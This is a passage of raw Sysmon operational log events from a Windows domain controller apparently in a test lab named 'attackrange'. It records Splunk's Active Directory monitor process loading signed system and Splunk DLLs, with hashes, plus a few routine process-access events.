Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.315{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.315{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.299{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000057953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000057948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 